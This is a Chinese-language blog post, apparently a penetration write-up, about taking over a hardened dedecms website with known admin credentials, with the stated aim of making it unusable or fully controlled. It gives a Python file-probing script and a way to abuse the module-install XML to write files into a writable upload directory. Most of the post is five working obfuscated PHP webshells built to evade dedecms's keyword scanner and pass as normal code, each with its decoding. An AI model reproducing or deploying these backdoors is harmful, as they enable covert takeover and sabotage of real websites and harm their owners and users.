基于dedecms网站的一次渗透

第一次进行渗透测试,经验不足,知识面不够。

背景

需要对一个使用dedecms搭建的网站进行一次渗透,对方的网站的防护人员具有一定的安全意识,已经在很多的敏感的地方进行了加固,常见的dedecms漏洞都已经修复了,常见的可能存在的漏洞模块也被清除了,网站也是不是在godaday上面。而我目前的信息是知道了后台的登录地址,管理员的账号密码。最终的目的就是要求这个网站无法访问。

信息收集

使用管理员的账号登陆到后台页面进行查看,发现防护人员删除了文件管理模块,这里的删除指的是防护人员是直接删除了文件管理员模块对应的那几个文件,而不是在dedecms后台上面的删除,因为我当时想通过直接安装文件管理模块时失败了。通过在后台页面进行查看,发现这个网站之前已经被人种马了,但是管理员是直接不启用这个php文件。通过分析,我认为管理员可能通过删除物理文件的方式已经将很多的文件进行了删除。
我们已经进入了后台,而且虚拟主机很难提权,那么我们想的是通过在网站中布置大量的木马,让网站在我的控制之下。那么此时就需要知道目前还有那些文件是可以访问的,就写了下面一个简单的diff脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import argparse
import os
from urllib.parse import urljoin
import requests
# import os.path
# 程序没有使用协程,速度略慢
def access(url):
headers = {
'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36',
}
response = requests.get(url,headers=headers)
return response.status_code == requests.codes.ok

#
def get_access(files,baseurl):
can_access_files= []
for file in files:
url = urljoin(baseurl,file)
print(url)
canaccess = access(url)
if canaccess:
can_access_files.append(file)
return can_access_files


# 得到了本地所有的文件
def get_local_files(filepath):
# 遍历本地所有的文件
files = []
for parent,dirnames,filenames in os.walk(filepath):
for filename in filenames:
abspath = os.path.join(parent,filename)
# 得到文件的后缀
file_suffix = os.path.splitext(os.path.basename(abspath))[1][1:]
if file_suffix in suffix:
relativepath = os.path.relpath(abspath,filepath)
files.append(relativepath)
return files

def main(filepath,local,remote,suffix):
files = get_local_files(filepath)
files = [file.replace('\\','/')for file in files]
local_access_files = get_access(files,local)
local_access_files = [file.replace('\\','/')for file in local_access_files]
remote_access_files = get_access(local_access_files,remote)
urls = [urljoin(remote,file) for file in remote_access_files]
urls_str = '\r'.join(urls)
with open('urls.txt','w') as file:
file.write(urls_str)
print('运行完毕')

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='dedecms diff')
parser.add_argument('-f', '--file',required=True,
dest='localfile', action='store',
help='the dedecms local file')
parser.add_argument('-l', '--local',required=True,
dest='local', action='store',
help='the dedecms local host')
parser.add_argument('-r', '--remote',required=True,
dest='remote', action='store',
help='the dedecms remote host')
parser.add_argument('-s', '--suffix',default='php', nargs='*',
dest='suffix', action='store',
help='the file that you want to diff')
args = parser.parse_args()

filepath = args.localfile
local = args.local
remote = args.remote
suffix = args.suffix
main(filepath,local,remote,suffix)

由于目前还是一个单线程的脚本,在访问目标网站的时候,速度会比较慢,后续可能到使用协程的方式来解决速度慢的问题。
通过这种方式,就可以知道目前网站的防护人员删除了哪些本可以正常访问的php文件。

修复文件管理模块

发现虽然网站的防护人员手动删除了dedecms的文件上传模块,但是我可以通过手动上传一个打包的文件上传模块上去,这样我就可以有一个文件上传模块,这样就可以做很多的事了。
在上传模块的时候,有一点需要注意的地方是在于,在导出模块的时候,需要选择导出的文件名,此时需要修改文件名,否则就会和已知的文件名相重复,这个比较难以描述,但是大家实际动手操作一边就知道了。
在本地打包好了文件管理模块进行安装时,发现需要安装文件管理模块的目录没有写入权限,那么说明就无法通过这种方式来安装文件管理模块。

如果无法上传文件管理模块,那么其他的后续操作都无法进行了。

dedecms文件上传模块分析

其实上传的dedecms的文件模块就是一个xml文件,观察xml的格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<module>
<oldfilelist>
file_manage_control2.php
file_manage_main2.php
file_manage_view2.php
file_pic_view2.php
templets/file_edit2.htm
templets/file_manage_main2.htm
templets/file_pic_view2.htm
</oldfilelist>
</systemfile>
<modulefiles>
<file type='file' name='file_manage_control2.php'>
对应的file_manage_control2.php文件中的代码的base64decode
</file>
.......

上面显示的就是部分xml文件格式代码
从中可以看到<oldfilelist>中就声明了模块所需要的所有的文件,同时还表明了文件的路径。那么对于默认的路径无法进行写入,我就尝试其他的目录是否具有写入权限,修改的方式也很简单。

1
2
3
4
5
6
7
8
9
10
<module>
<oldfilelist>
/uploads/allimg/test.php
</oldfilelist>
</systemfile>
<modulefiles>
<file type='file' name='test.php'>
对应的file_manage_control2.php文件中的代码的base64decode
</file>
.......

经过测试可以在dedecms中的uploads/allimg可以进行写入。那么具有写入权限,这样我们就可以写入一句话木马和大马了。

写入木马

我首先在uploads/allimg下放置了一个大马。这样就可以通过大马上传文件了,在使用大马上传文件的时候具有写入权限就可以了。
本次的目标的最终目的就是要求在网站中尽可能地防止木马,让网站无法正常使用或者是完全处于我的控制一下。
由于dedecms自带有一个简单的病毒防护模块,如下图所示:

在dedecms中的病毒扫描中会对代码中的eval|cmd|system|exec|_GET|_POST,这些进行检测。那么这就要求我们的一句话木马不能含有这些字符,同时还需要像正常的代码文件。因为部分的一句话木马虽然不含有这些关键字,但是网站的防护人员一看就知道这是木马,而不是正常的代码。说了这么多,就是我们的木马具有伪装性。
下面就给出了当时我们所使用的一句话木马,由于当时的网站并没有使用盾、狗、锁。所以以下的代码不保证能够防御这些。

木马1

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="F6ciddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$tmp = $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw));
$mpy = $sbp('', $tmp);
$mpy();
?>

从这个代码中可以看到,没有看出任何的关键字,但是出现了str_replace
下面就对这个一句话木马进行简要的分析

  1. $ka.$pjt.$uf.$iqw组合起来就是IEBldmFbsKCRfUE9TVFsnc3F6ciddKTs=
  2. $vblstr_replace
  3. $bkfbase64_decode
  4. $sbpcreate_function,关于create_function参考create_function

那么实际的代码为:

1
2
$mpy = create_function('', '@eval($_POST['sqzr']);'); 
$mpy();

这样就是一个简单的一句话木马了。

木马2

1
2
3
4
5
6
<?php
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[xw]);
?>

这个代码也十分的明显了,其中的$a最后得到就是assert,这个主要是通过base64_decode来解决的。同时使用了error_reporting(0);set_time_limit(0);来屏蔽出错信息。

木马3

1
2
3
4
5
6
<?php
$adminDirhand=str_replace('f',"","bfafsfef6f4f_fdfefcfofdfe");
$Htmlreplace=str_replace('X','','gXzXiXnXfXlate');
$adminDirhand=($Htmlreplace($adminDirhand("SywuTi0qAQA=")));
@$adminDirhand(${"_P"."O"."S"."T"} ['ms']);
?>

这个木马主要是通过base64_decode来进行隐藏代码。

  1. $adminDirhand就是base64_decode
  2. $Htmlreplace是,gzinflategzinflate是php中的一个压缩方法。

那么最后的代码就是

1
2
$t = gzinflate(base64_decode("SywuTi0qAQA=")) //得到$t是assert
assert(${"_P"."O"."S"."T"} ['ms']);

最后木马看起就非常的简单,这个木马主要是结合了base64_decodegzinflate
关于gzinflate的一句话木马可以看文章,eval(gzinflate(base64_decode解密方法

木马4

1
2
3
<?php 
$tmp = base64_decode('W0BldmFsKCRfUE9TVFttc2d1YW5jaGFdKTtd');
@preg_replace("/\[(.*)\]/e",'\\1',$tmp);

这个木马也比较的简单,使用了preg_replace中的参数/e,这样就可以执行代码了。比较常见的一句话木马,但是这个函数在后面的php版本中已经取消了

木马5

1
2
3
4
5
6
7
<?php
$cfg_base=chr(99).chr(104).chr(114);
$cfg_base_path=$cfg_base(101).$cfg_base(118).$cfg_base(97).$cfg_base(108).$cfg_base(40).$cfg_base(36).$cfg_base(95).$cfg_base(80).$cfg_base(79).$cfg_base(83).$cfg_base(84).$cfg_base(91).$cfg_base(109).$cfg_base(115).$cfg_base(103).$cfg_base(117).$cfg_base(97).$cfg_base(110).$cfg_base(99).$cfg_base(104).$cfg_base(97).$cfg_base(93).$cfg_base(41).$cfg_base(59);
$cfg_base_encode=$cfg_base(99).$cfg_base(114).$cfg_base(101).$cfg_base(97).$cfg_base(116).$cfg_base(101).$cfg_base(95).$cfg_base(102).$cfg_base(117).$cfg_base(110).$cfg_base(99).$cfg_base(116).$cfg_base(105).$cfg_base(111).$cfg_base(110);
$_=$cfg_base_encode("",$cfg_base_path);
@$_();
?>

这个虽然是一句话木马,但是一看就知道是一句话木马。下面就是对这个一句话木马的简单分析。

  1. $cfg_basechr
  2. $cfg_base_patheval($_POST[msguancha]);
  3. $cfg_base_encodecreate_function

那么最后的一句话木马的格式就是:

1
2
$tmp = create_function('',`eval($_POST[msguancha]);`);
@$tmp();

这个也主要利用的是create_function来创建一句话木马的。

上面所有的木马都可以逃过dedecms自带的检测,而且这些代码也不是特别像一句话木马。至于如何插入一句话代码,这个很简单,本篇文章就不作说明了。